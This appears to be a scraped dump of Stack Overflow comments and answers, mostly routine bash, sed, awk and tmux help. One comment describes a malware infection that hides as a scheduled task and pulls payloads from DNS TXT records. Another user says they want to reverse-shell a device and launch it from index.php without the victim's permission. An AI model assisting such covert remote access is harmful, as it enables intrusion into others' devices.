has text: I think this question might be good for tracking this current attack vector. It placed itself in `%System32%\Tasks\Microsoft\Windows\Windows Activation Technologies` as `jQi0kXya2` for me, invoked as a scheduled task on `LogOn` and `Registration`. It executes a hidden ps window with a script in my `%System32%` directory, a list of urls derived from words `wmail`, `fairu`, `bideo`, `privatproxy`, `ahoravideo`, etc - and formed domains using five suffixes and `.com` or `.xyz`, it then got `TXT` records, decompressed base64 on them, verified a signature, and executed their payloads above.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77070425
type: Comment

http://stackoverflow.com/comment/135978643
score: 0
has text: It seems I figured out why. The default SHELL is `SHELL [ "/bin/sh", "-c" ]`, so If I put `RUN mkdir sample_dir && cd $_ && touch sample_file` instruction, then it is executed like `/bin/sh -c " mkdir sample_dir && cd $_ && touch sample_file"`. It means the `$_` specifies the arguments that was executed before the `/bin/sh -c " ... ` command.
comment on: http://stackoverflow.com/a/77121277
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135964330
comment on: http://stackoverflow.com/q/77122868
score: 0
has text: Also, specify what characters can be inside i.e. `text5`. Or are they always literally the word _text_, followed by a number?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135958036
type: Comment
type: AnswerComment
has text: You're still passing `shell=True`. That makes this essentially the same as running `sh -c 'bash -ic lso'` - one shell inside the other.
comment on: http://stackoverflow.com/a/77122642
score: 0

http://stackoverflow.com/comment/136106859
score: 4
comment on: http://stackoverflow.com/q/77204604
has text: Take the multiline scripts, fold them up into one line, and include `;` chars as needed. It might help to share who is giving you this task and why they think it is important. Is this a job interview question? (One-liners are ***really*** a false prophet of coding.) /-;! Good luck!
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135910572
type: Comment
type: QuestionComment
has text: That loop doesn't look right to me: `for (i = 0; i < dest; i++ ) newptr[i] = ptr[i]; /* line 66 */`. `dest` is the new size so if the old size was smaller, the loop overflows `
comment on: http://stackoverflow.com/q/77095231
score: 1

http://stackoverflow.com/comment/135978215
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77129396
type: Comment
has text: Regarding DOS line endings - see https://stackoverflow.com/questions/45772525/why-does-my-tool-output-overwrite-itself-and-how-do-i-fix-it.

http://stackoverflow.com/a/77226191
answers question: http://stackoverflow.com/q/77219602
upvote count: 2
downvote count: 0
type: Answer
has body: Try this Shellcheck-clean code: #! /bin/bash -p count=1 for f in *.png; do mv -n -v -- "$f" "$((count++)).png" done $((count++)) expands to the current value of the count variable and also increments it. The -n option to mv prevents it from overwriting an existing file. The -v option to mv causes it to print the old and new file names. The -- argument to mv indicates that there are no more options. It ensures that the code will work even if renaming a file whose name begins with -.
score: 2

http://stackoverflow.com/comment/136072879
score: 0
comment on: http://stackoverflow.com/a/77186389
type: Comment
has text: Thank you so much! It worked. I was asked this question in an interview. Thanks again!
type: AnswerComment

http://stackoverflow.com/comment/135936226
comment on: http://stackoverflow.com/q/77110245
type: Comment
score: 0
has text: No logs to check ?
type: QuestionComment

http://stackoverflow.com/comment/135982396
comment on: http://stackoverflow.com/a/77135914
type: Comment
has text: I removed all the spaces after backslashes. I no longer get any errors, but i do get my new terminal window with a single tab (not 3 I want).
type: AnswerComment
score: 0

http://stackoverflow.com/q/77213132
has answer: http://stackoverflow.com/a/77213627
type: Question
tagged with: shell
tagged with: linux
has title: Session selection menu in Tmux
type: UnansweredQuestion
answer count: 1
tagged with: tmux
has body: I have a script .bashrc autorun tmux when connected via ssh, which automatically connects me to the previous session: if [ "$PS1" != "" -a "${STARTED_TMUX:-x}" = x -a "${SSH_TTY:-x}" != x ] then STARTED_TMUX=1; export STARTED_TMUX sleep 1 ( (tmux has-session -t remote && tmux attach-session -t remote) || (tmux new-session -s remote) ) && exit 0 echo "tmux failed to start" fi How can I supplement this script so that it offers to start a new session or connect to an existing session with each new connection? As a selection menu. I would like to have a simple menu for connecting to an existing session (or sessions) or creating a new one.
score: 0
tagged with: bash

http://stackoverflow.com/a/77171531
has comment: http://stackoverflow.com/comment/136049814
type: Answer
score: 0
has body: Below script will parse the file declare the variables. for var in $(cat cols.txt);do declare "$var"; done [~] echo $employee 'Scott' [~] echo $job 'Manager' [~] echo $Salary 10000 [~] echo $location 'Chicago' [~] echo $deptno 10 [~] echo $hike_in_perc 15 [~] echo $deptname 'Accounts'
answers question: http://stackoverflow.com/q/77169893

http://stackoverflow.com/comment/135919782
score: 0
has text: `new_text='${text}${year}'` breaks if a variable value contains a `'` character. If you are using Bash 4.4 or later, `new_text=${text@Q}${year@Q}` is safe for all possible variable values.
type: QuestionComment
comment on: http://stackoverflow.com/q/77089730
type: Comment

http://stackoverflow.com/comment/136004340
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77148106
has text: Also more generally: Don't write too much code at once. It just makes it harder to test and debug. Start with an empty `main` function. Build with extra warnings enabled, treated as errors. Once it builds cleanly test it in any way you can imagine. Once it passes all tests, then add a ***small*** piece of code. Build and test as before. And so on. If there's a problem, it's much easier to isolate that parts into a [mre], and debug to make sure it works.
type: Comment

http://stackoverflow.com/comment/136132019
has text: Thanks, @CharlesDuffy. I will look into the tools you suggested. I am new to Linux in general... learning. Great suggestions.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77217613
type: Comment

http://stackoverflow.com/a/77213627
has body: Using the select built-in: tmuxSelectSession() { PS3='Select a tmux session to attach to: ' select session in $(tmux list-sessions -F "#{session_name}"); do tmux attach -t "$session" break done } tmuxHasSessions() { tmux list-sessions 2>&1 >/dev/null } isTmuxSession() { test -n "$TMUX" } if ! isTmuxSession; then tmuxHasSessions && tmuxSelectSession || tmux new-session -s new fi
score: 1
answers question: http://stackoverflow.com/q/77213132
has comment: http://stackoverflow.com/comment/136121549
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/136121630
type: Answer

http://stackoverflow.com/comment/135957426
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77122156
has text: See the [awk tutorial](https://grymoire.com/Unix/Awk.html) and read about RS and ORS variables. You'll need to use `ORS="\n\n"` (not mentioned in tutorial) to achieve your required output, but I highly recommend solution below, as now you have all important information on one line of text, and this would be easier to process in any downstream reports, processes. Good luck.

http://stackoverflow.com/comment/135904042
has text: Hint: `source` is your friend. And @tchrist wrote a [famous essay](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/) almost 20 years ago on some of the problems with (t)csh.
type: Comment
comment on: http://stackoverflow.com/q/77090496
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135963103
score: 1
comment on: http://stackoverflow.com/a/77124913
type: Comment
type: AnswerComment
has text: Why do you use input redirection, please? I mean `sed <input.txt ...` rather than `sed -e ... -e ... input.txt`

http://stackoverflow.com/comment/136070264
score: 6
comment on: http://stackoverflow.com/q/77185038
has text: The keys in an associative array are not ordered. There is no concept of "first" and "last". They are delivered in essentially random order.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136069848
comment on: http://stackoverflow.com/a/77184718
type: Comment
score: 0
has text: Thanks for the answer, resource and fast response. :)
type: AnswerComment

http://stackoverflow.com/comment/135912926
has text: Silently skipped, without any error message??? I don't believe it.
comment on: http://stackoverflow.com/q/77095520
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135967959
comment on: http://stackoverflow.com/a/77124913
has text: I'd call the separate arguments to `-e` *commands* not *scripts*. GNU sed allows you to use multiple `-e` to imply a line break (needed for `w` command), but like any sed the algorithm runs a single script of one or more commands for each load of the pattern buffer from the input stream. You can have labels for branch commands in the several `-e` ... they're specifying one script.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135910917
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77095729
has text: thanks, this worked to at least get the error logged: the error is,

http://stackoverflow.com/comment/136035022
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77164954
type: Comment
has text: @BenjaminW. i extracted the script from the cwl file i got so i guess it is working like this

http://stackoverflow.com/comment/136121549
type: Comment
type: AnswerComment
has text: I understand correctly, it is enough to add your script to .bashrc?
comment on: http://stackoverflow.com/a/77213627
score: 0

http://stackoverflow.com/comment/135919581
comment on: http://stackoverflow.com/a/77096759
score: 0
type: Comment
type: AnswerComment
has text: you can get potentially unexpected behaviour if you do things like `-t ' ' -k1.4,1` and the first field is shorter than 4 characters

http://stackoverflow.com/a/77093425
has body: jq -r '.x | with_entries(select(.value | index("3"))) | keys[]' seems to do the trick.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/77093338
has comment: http://stackoverflow.com/comment/135913240

http://stackoverflow.com/comment/136114403
type: QuestionComment
type: Comment
score: 0
has text: @TobySpeight thank you very much, totally forgot about this commands! They helped a lot in troubleshooting what is executed.
comment on: http://stackoverflow.com/q/77206252

http://stackoverflow.com/a/77060684
downvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77060642
has body: That's not how the execve syscall works. It will never look at PATH or any other environment variables to search for the executable to execute. You will have to provide a valid absolute or relative path. Furthermore, setting the environment only affects the new program that is executed, not the current one. So even using the execvpe() library function that emulates the path resolution of a shell looking at PATH, it will look at the current value of the environment variable PATH, not the one being passed as environment to the new process.
upvote count: 2
score: 1

http://stackoverflow.com/comment/136037742
type: QuestionComment
has text: There is another problem. Using the updated code, it seems that the `\def` part will be converted to `\def\name{ HELLO }` with two space characters around `HELLO`. How can I remove them? @KlausD.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77165700

http://stackoverflow.com/comment/136148204
comment on: http://stackoverflow.com/q/77205859
type: QuestionComment
type: Comment
has text: any other suggestions? Anyone?
score: 0

http://stackoverflow.com/comment/136132009
comment on: http://stackoverflow.com/a/77219057
type: Comment
type: AnswerComment
has text: Glad you got it sorted out. On a style note, lines of `# # # ....` makes things a bit hard to read. If you want a comment to stand out, include a `## comment` or for even more impact include a single `#` above and below the `##` line. But generally, *less-is-more* where fluff is concerned. Good luck with your scripting.
score: 0

http://stackoverflow.com/comment/136046387
comment on: http://stackoverflow.com/q/77171720
has text: Looks like that container doesn't have bash
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/78104568
answers question: http://stackoverflow.com/q/77172041
type: Answer
has body: On Espanso v2.2.1 this is possible with cursor hints. - trigger: ":ga" replace: "Good afternoon,\n\n$|$" Something important to note is the following warning in the documentation Cursor Hints This feature should be used with care in multiline expansions, as it may yield unexpected results when using it in code editors that support auto indenting. This is due to the way the feature is implemented: espanso simulates a series of left arrow key-presses to position the cursor in the correct position. This works perfectly in single line replacements or in non-autoindenting fields, but can be problematic in code editors, as they automatically insert indentations that modify the number of required presses in a way espanso is not capable to detect.
score: 0

http://stackoverflow.com/comment/136133518
score: 0
has text: I got error below date: illegal option -- d usage: date [-jnRu] [-I[date|hours|minutes|seconds]] [-f input_fmt] [-r filename|seconds] [-v[+|-]val[y|m|w|d|H|M|S]] [[[[mm]dd]HH]MM[[cc]yy][.SS] | new_date] [+output_fmt]
type: QuestionComment
comment on: http://stackoverflow.com/q/77219500
type: Comment

http://stackoverflow.com/a/77166393
downvote count: 0
has comment: http://stackoverflow.com/comment/136043196
has comment: http://stackoverflow.com/comment/136043184
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/136043150
has body: This is a tentative answer. Hopefully at the very least it can help you ask a more well-formed question going forward. You mention in a comment that the backslashes work for you in a "cwl file" but you haven't explained what a "cwl file" is. If you are referring to Common Workflow Language then we'd need to know more about the YAML structure around the script; there are certainly YAML scalar formatting options where backslashes are not necessary. Without more details, let's just say that for a "shell script" these backslashes are wrecking the functionality, and so I have removed them. It's also not clear which error condition exactly you want to trap. Presumably fastq-dump is the source of these errors. If it is at all compenently written, you should be able to say simply if fastq-dump --options arguments; then ... but I stuck to your clumsier approach of counting the number of output lines because I'm not familiar with this tool and you haven't provided a link to its documentation. #!/bin/sh # ^ explicitly name which shell you are using # See also https://en.wikipedia.org/wiki/Shebang_(Unix) set -x PS4='[\\d \\t] ' check=0 # Avoid useless use of echo # https://www.iki.fi/era/unix/award.html#echo # Prefer POSIX "command -v" over nonstandard "which" command -v fastq-dump # Quote all file names # https://stackoverflow.com/questions/10067266/when-to-wrap-quotes-around-a-shell-variable for file in "$@"; do cp "$file" . # Basename knows how to trim extension id=$(basename "$file" .id) # Write diagnostics to stderr echo "$0: Checking $id..." >&2 # Truncate log so we can append in a loop; see below : > "$id".test.log # Loop until success, or retries exhausted for retry in 1 2 3 4 5; do # Append rather than overwrite error log, in case we retry fastq-dump $(get_ngc()) -X 1 -Z --split-spot "$id" > "$id".test.fastq 2>> "$id".test.log # Avoid useless cat # https://stackoverflow.com/questions/11710552/useless-use-of-cat numLines=$(wc -l < "$id".test.fastq) if [ $numLines -gt 0 …
answers question: http://stackoverflow.com/q/77164954
has comment: http://stackoverflow.com/comment/136039098
accepted answer of: http://stackoverflow.com/q/77164954
type: AcceptedAnswer

http://stackoverflow.com/comment/135927280
score: 0
has text: And with this I wouldn't affect any other pipelines resources by keeping some resources allocated ?
comment on: http://stackoverflow.com/a/77104607
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135993684
score: 0
comment on: http://stackoverflow.com/a/77142355
type: Comment
type: AnswerComment
has text: I have a mac, my test vm is centos 8, and my testing environment is most likely an alpine docker image. On my test vm, it is 4.2.1.

http://stackoverflow.com/comment/136051311
comment on: http://stackoverflow.com/q/77162327
has text: In the future, please check your code at https://shellcheck.net (be sure to include `#!/bin/bash` or other as appropriate). Fix any issues, if your code is still not working, then post a question. Good luck.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/136045920
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77171386
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/255410/discussion-between-ashok-and-renaud-pacalet).

http://stackoverflow.com/comment/136093808
has text: Also, think about taking out the `if [ ! -e "bin" ]` and just using `mkdir -p bin || exit` unconditionally -- that way you _always_ try to create a `bin` directory if it doesn't exist, and if you fail abort the script.
score: 0
comment on: http://stackoverflow.com/q/77198302
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136103053
has text: There's an essay on the topic that's been linked for many years by the bash IRC channel's factoid bot at [Commandname extensions considered harmful](https://www.talisman.org/~erlkonig/documents/commandname-extensions-considered-harmful/)
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77203420

http://stackoverflow.com/a/77133415
has comment: http://stackoverflow.com/comment/135988575
score: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/77132631
downvote count: 0
has comment: http://stackoverflow.com/comment/135978856
has body: You can iterate you log file for each server by putting in shell script as: count=1 while read -r line; do echo ${line} | sed -n ${count}p | grep -E '[1-9]' ((count++)) done &lt; input-data-file.log apart from this you can accumlate whole data in an another file and than sort it as per your needs ex: cat input-data-file.log |grep -E '[1-9]' &gt; output.txt It will give you the following output: ACTIVE: 7 WAITING_ON_IO: 3 01:36:18|[user@SERVER-1 bin]$ ./script.sh -list ACTIVE: [328465405, 328460561, 328465417, 328465409, 328465411] WAITING_ON_IO: [328465211, 328465267, 328466202] 01:36:33|[user@SERVER-1 bin]$ exit Connection to SERVER-1 closed. 01:36:43|[user@SERVER-2 bin]$ ./script.sh ACTIVE: 1 HALTED: 4 WAITING_ON_IO: 7 01:36:51|[user@SERVER-2 bin]$ ./script.sh -list ACTIVE: [1731005633, 1731007235] HALTED: [1729578637, 1729078919, 1729411521, 1730174742] WAITING_ON_IO: [1578123006, 1578122748, 1578122627, 1578121867, 1578122892, 1578121839, 1578122653, 1578122731, 1578122789, 1578122942, 1578121834, 1578121868, 1578121795, 1578122746, 1578122644] 01:36:58|[user@SERVER-2 bin]$ exit Connection to SERVER-2 closed. 01:37:49|[user@SERVER-3 bin]$ ./script.sh 01:37:57|[user@SERVER-3 bin]$ ./script.sh -list 01:38:05|[user@SERVER-3 bin]$ exit Connection to SERVER-3 closed.
answers question: http://stackoverflow.com/q/77132631
type: AcceptedAnswer
upvote count: 3

http://stackoverflow.com/comment/135937201
score: 1
type: Comment
comment on: http://stackoverflow.com/a/77110538
type: AnswerComment
has text: `./SysmacApp.sh: line 42: /var/log/sysmacapp.log: Permission denied` I've tried by adding sudo run....

http://stackoverflow.com/comment/135936365
has text: this error i am gettting when i run ls-a
type: Comment
comment on: http://stackoverflow.com/q/77105912
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135978817
has text: It is a good idea to ignore all files that are temporarily created by the IDE/editor.
comment on: http://stackoverflow.com/q/77133895
score: 3
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135928689
has text: What do you mean by "IntelliJ command prompt"?
comment on: http://stackoverflow.com/q/77105912
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136156451
score: 0
has text: @barmar like SSH in a sense where you can interact with the different cli binaries, here is an attempt at what i understood from what you mentioned [server](https://pastebin.com/raw/x0MZywfy) [client](https://pastebin.com/raw/LuvpUeAB)
comment on: http://stackoverflow.com/q/77231881
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136052303
comment on: http://stackoverflow.com/q/77169893
type: QuestionComment
score: 0
has text: You want count `>0`, or count `=1`? Because those are very different criteria.
type: Comment

http://stackoverflow.com/a/77124873
score: 1
has comment: http://stackoverflow.com/comment/135962478
has comment: http://stackoverflow.com/comment/135964429
answers question: http://stackoverflow.com/q/77124850
downvote count: 0
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135963399
has body: This job is for awk not for sed. Try this: $ echo '-rw-r--r-- 1 dev dev 93K Sep 18 05:37 Server-23091805496-2-AC.log' | awk '{print $1}' -rw-r--r-- $ echo '-rw-r--r-- 1 dev dev 93K Sep 18 05:37 Server-23091805496-2-AC.log' | awk '{print $5}' 93K $ echo '-rw-r--r-- 1 dev dev 93K Sep 18 05:37 Server-23091805496-2-AC.log' | awk '{print $9}' Server-23091805496-2-AC.log
has comment: http://stackoverflow.com/comment/135962671

debugging
tag name: debugging
type: Tag
tags question: http://stackoverflow.com/q/77063978
tags question: http://stackoverflow.com/q/78220349
tags question: http://stackoverflow.com/q/78596298
tags question: http://stackoverflow.com/q/79106961

http://stackoverflow.com/comment/136151581
score: 0
type: QuestionComment
type: Comment
has text: Enough information to let someone else cause the problem themselves (in this case, the exact Rundeck definition you're using) _needs to be part of the question itself_.
comment on: http://stackoverflow.com/q/77226745

http://stackoverflow.com/comment/136105317
comment on: http://stackoverflow.com/q/77204604
score: 3
type: QuestionComment
has text: If you want to know if it found anything, save the output somewhere (a file or variable) and check if it's non-empty.
type: Comment

http://stackoverflow.com/a/77128237
has body: This might work for you (GNU sed): sed -Ene 'h;s/\s*\S*//6g;G;s/(.*)\n\1\s*//;w file1' -e 'h;s/\s*\S*//4g;G;s/(.*)\n\1\s*//;w file2' file Make a mask of the strings you want to remove, remove them and write the result to a file. In this case, perform the operation twice for a second file.
score: 0
answers question: http://stackoverflow.com/q/77124850
type: Answer

http://stackoverflow.com/comment/135933447
score: 0
comment on: http://stackoverflow.com/q/77100448
type: QuestionComment
type: Comment
has text: I was getting involve to achieve it. Now i can tell more properly what is my goal. Im trying to reverse shell a computer/mobile device. When i see the shell in localhost/ and clicked it, the shell is launching. But i want to automaticly launch from index.php. I found something about apk, but its requesting to allow. The better is not need permission but it alerting you. And again you need to click it from localhost/directory not auto launching

http://stackoverflow.com/comment/136045675
comment on: http://stackoverflow.com/a/77171386
score: 0
has text: Hi @renaud how about the footer count? I've tried the answer which you've posted files got generated but the footer count is there in the last file only but it needs to be there in all the files
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136004470
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/77148106
has text: `readline` means _editing_, i.e. going back into the read buffer and changing what is there. I don't understand the purpose of this in the connection of pipes - it simply does not make sense to me. At the very least, you would need to define exactly what effect you want to achieve.

http://stackoverflow.com/comment/136105097
score: 0
comment on: http://stackoverflow.com/q/77204152
type: QuestionComment
type: Comment
has text: Also, `var= command ...` doesn't assign to var except transiently. You want `var=$(command ...)`; that's covered in [How do I set a variable to the output of a command in bash?](https://stackoverflow.com/questions/4651437/how-do-i-set-a-variable-to-the-output-of-a-command-in-bash). Which means that `echo "${tableName}"`, if anyone but you _actually ran_ your claimed/stated code, wouldn't actually work, since you aren't actually storing the output of awk in tableName.

http://stackoverflow.com/comment/135913240
has text: While this code snippet may be the solution, [including an explanation](https://meta.stackexchange.com/questions/114762/explaining-entirely-‌​code-based-answers) really helps to improve the quality of your post. Remember that you are answering the question for readers in the future, and those people might not know the reasons for your code suggestion.
type: Comment
comment on: http://stackoverflow.com/a/77093425
type: AnswerComment
score: 0

http://stackoverflow.com/a/77184718
type: Answer
has body: What I would do: echo "For loop begins" for (( a = 1; a <= 10; a++ )) do echo -e "\tOuter loop ${a}" for (( b = 1; b < 100; b++ )) do if [[ ${b} -gt 5 ]] then break fi echo -e "\t\tInner loop ${b}" done done echo "For loop completed" Note the use of break only, because break 2 break the outer loop too. The logic is wrong from your code if you need to iterate 10 times like I does here. Check man bash | less +/'^ +break' break [n] Exit from within a for, while, until, or select loop. If n is specified, break n levels. n must be ≥ 1. If n iq greater than the number of enclosing loops, all enclosing loops are exited. The return value is 0 unless n is not greater than or equal to 1. Using modern bash, better use if (( b > 5 )) ((...)) and $((...)) are arithmetic commands, which returns an exit status of 0 if the expression is nonzero, or 1 if the expression is zero. Also used as a synonym for "let", if side effects (assignments) are needed. See http://mywiki.wooledge.org/ArithmeticExpression
has comment: http://stackoverflow.com/comment/136069848
answers question: http://stackoverflow.com/q/77184696
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77184696
score: 0

http://stackoverflow.com/comment/135951677
comment on: http://stackoverflow.com/q/77118220
has text: Don't use `shift` (or `$1`) inside a `getopts` loop -- it iterates over the arg list itself, and if you change that list out from under it it'll get very confused. I'm not clear what `paramgroup`, `virtoptgroup`, etc are supposed to be doing, so I can't tell you how to fix it. See [BashFAQ #35](http://mywiki.wooledge.org/BashFAQ/035#getopts) for an example of using `getopts` correctly (note that it puts `shift "$((OPTIND-1))"` *after* the loop, to remove all options once `getopts` has finished with them.
score: 3
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135980948
type: Comment
type: AnswerComment
score: 0
has text: @MohammedShaheer it means that the server is using a default prompt for password authentication and for the remote servers that display "$user@$host's Password:", it means that the server has been configured to display the username and hostname in the password prompt,the prompt is determined by the server's configuration and cannot be directly edited from the client-side command. It is up to the server administrator to customize the password prompt if needed.
comment on: http://stackoverflow.com/a/77135067

react-native
type: Tag
tags question: http://stackoverflow.com/q/77201768
tag name: react-native
tags question: http://stackoverflow.com/q/77769878
tags question: http://stackoverflow.com/q/78098598

http://stackoverflow.com/comment/136179527
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
has text: `implement the codes, the value in E2 becomes 6:7.000 (original D2 value)` This is the fist time to see that updating Ex is needed. The code doesn't cover it. The more important thing is how to get the original D2.
score: 0

http://stackoverflow.com/a/77204326
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/77204012
type: Answer
has body: you can grep an IP address via command found at the answer to a similar question: https://stackoverflow.com/a/427989/13314263 grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' file.txt regarding you find command. root (/) is protected, so on a well configured system a normal user cannot view the contents of arbitrary files under it. try this instead: sudo find / -type f -exec grep -l IP {} ; Note the sudo in front. Alternatively su to root before executing your find: su -. And to combine it all for completeness: sudo find / -type f -exec grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' {} \;
downvote count: 0

http://stackoverflow.com/a/77197310
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/77196656
has body: Do not use for dir in $DIR_PROJECTS, because if any item contains spaces, they will be split. As @EdMorton commented: [...] DIR_PROJECTS should be an array accessed by for dir in "${DIR_PROJECTS[@]}", not a scalar variable [...] If the items in DIR_PROJECTS are not absolute paths, the script will not work, as @TedLyngmo explained. Changing directories in scripts is troublesome in general, so it's best to avoid when you can. If myScript.py works with paths not limited to the current working directory, then this would work just find, without changing directories: DIR_PROJECTS=( "path1" "path2" ) for dir in "${DIR_PROJECTS[@]}"; do /scripts/myScript.py -f "$dir.xml" done (Notice that I enclosed in double-quotes "$dir.xml" too, also an important thing to do to protect from whitespace and special characters in $dir.)
score: 2
upvote count: 2

http://stackoverflow.com/comment/135981973
comment on: http://stackoverflow.com/q/77135598
has text: @DiegoTorresMilano I tried minimizing my script to a one-liner like so: ```gnome-terminal \\ --window -- bash -ic "echo tab1; exec bash;" \\ --tab -- bash -ic "echo tab2; exec bash;" \\ --tab -- bash -ic "echo tab3; exec bash;"``` It no longer throws any errors, but a new window opens only with one tab.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136025662
comment on: http://stackoverflow.com/a/77160081
has text: This is just a band-aid. You can almost certainly do everything in a single awk on the original data, but your question doesn't really provide enough detail of the format of the input files to easily write that.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135891766
score: 0
comment on: http://stackoverflow.com/q/77084586
type: QuestionComment
type: Comment
has text: `set -x` should do it

http://stackoverflow.com/comment/135852214
type: QuestionComment
comment on: http://stackoverflow.com/q/77060368
score: 0
type: Comment
has text: It's hard to understand. Do you just want to modify the delimiter from `[[:space:]]{2,}` to `, `? What is the expected output?

http://stackoverflow.com/comment/136046382
type: Comment
has text: Hi Renaud any update on the last file footer count?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77171386

http://stackoverflow.com/comment/135956490
score: 0
has text: `$ bash Script.sh cat: 'file1.txt'$'\r'` your Filenames.txt has dos line endings. Remove them.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77121773

http://stackoverflow.com/comment/135957962
has text: Isn't `source ~/.bashrc` redundant if you're already starting an interactive shell with `-i`?
score: 1
comment on: http://stackoverflow.com/a/77122642
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135963028
comment on: http://stackoverflow.com/q/77118220
type: QuestionComment
score: 0
type: Comment
has text: If the script was written for `dash` (basically POSIX shell), you have to run it with dash or a compatible shell. If you want to switch languages, for instance going to ksh or zsh, you better write a new script. Of course you can orient yourself on your existing script, and you likely can copy some commands unmodified. But why do you want to do this? You should be able to have `dash` on every platform.

http://stackoverflow.com/comment/135940485
type: QuestionComment
score: 0
type: Comment
has text: What's the point in testing the directory for existence, before doing a `mkdir -p`?
comment on: http://stackoverflow.com/q/77110245

http://stackoverflow.com/comment/136161408
comment on: http://stackoverflow.com/q/77235620
type: QuestionComment
score: 2
type: Comment
has text: Please update your sample data to valid JSON.

http://stackoverflow.com/comment/136034737
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77165072
has text: I just overwrote the 3 dummy-files with dummy.mp3 symlinks in the 3 test folders symlinking to a test mp3 and created 6 scripts made by make-ffplay-script - two for each of the 3 folders, one using the _echo with added "_ and one using the _printf approach_ and _tested all 6 scripts, and all work as intended_. Thanks a lot @pjh
score: 0

foreach
tags question: http://stackoverflow.com/q/77100241
tag name: foreach
type: Tag
tags question: http://stackoverflow.com/q/79492218

http://stackoverflow.com/comment/136090798
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77193269
has text: Thank you for replying. But neither of your options worked. My php.ini file is here ``/etc/php/8.2/cli/php.ini`` but I don't know how I can use the ``disable_functions`` function to activate its two functions. Can you tell me more and either more from A to Z? And the two options don't work. Please tell me more so that I can make it work properly?
score: 0

http://stackoverflow.com/comment/135978997
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77129396
has text: Lesson learned: File saved as UTF-8 file in notepad++ does not necessarily mean that all the lines will not have DOS endings.

http://stackoverflow.com/a/77186389
type: AcceptedAnswer
score: 0
accepted answer of: http://stackoverflow.com/q/77185980
has comment: http://stackoverflow.com/comment/136072879
type: Answer
has body: It's unclear about what exactly you want. If the keyword is only literally element, can try: echo ${arr[*]} | sed -E 's/(element)/\1 /g' print out array as string replace element with element (tailed with space)
answers question: http://stackoverflow.com/q/77185980

http://stackoverflow.com/a/77129362
has body: The magic shell array quoting syntax is the best answer I could think of, since in the general case no-one knows how many elements exist and they might still need to be double-quoted. For simple programs, you might have something like bar "$@" which will double quote all arguments to the shell. This is not super convenient for my use case, since I'd have to jump into a function and lose access to the real command arguments. So for this use case, use a temporary shell array: Z=("one two") bar "${Z[@]}" You can see this in action with: for Z in "foo bar" ""; do echo "Running case with Z=<$Z>" if [ "$Z" ]; then Z=("$Z"); else Z=(); fi for f in 1 "${Z[@]}" 2; do echo $f; done done Which will produce the (desired/correct) output: Running case with Z=<foo bar> 1 foo bar 2 Running case with Z=<> 1 2 (incorrect outputs would have foo and bar on separate lines, or an empty lines between 1 and 2).
type: Answer
answers question: http://stackoverflow.com/q/77129361
score: 0

http://stackoverflow.com/comment/136077126
has text: @AlirezaPourchali, it adds Red Hat Linux repository
comment on: http://stackoverflow.com/q/77188462
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135910642
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77095557
has text: working directory is ~/, execute permissions I have added to chmod for both files, the log_script.txt is strangely empty

http://stackoverflow.com/comment/136080974
comment on: http://stackoverflow.com/a/77190915
score: 1
type: Comment
type: AnswerComment
has text: ```function testfn { echo "Hello"; }; export -f testfn; bash -c testfn``` prints `Hello`

http://stackoverflow.com/comment/135910927
score: 0
comment on: http://stackoverflow.com/a/77095729
type: Comment
type: AnswerComment
has text: can't open file '/absolute path/to/file/myfile.py': [Errno 1] Operation not permitted. How can this be solved

http://stackoverflow.com/comment/135962478
has text: But requirement is sed :)
comment on: http://stackoverflow.com/a/77124873
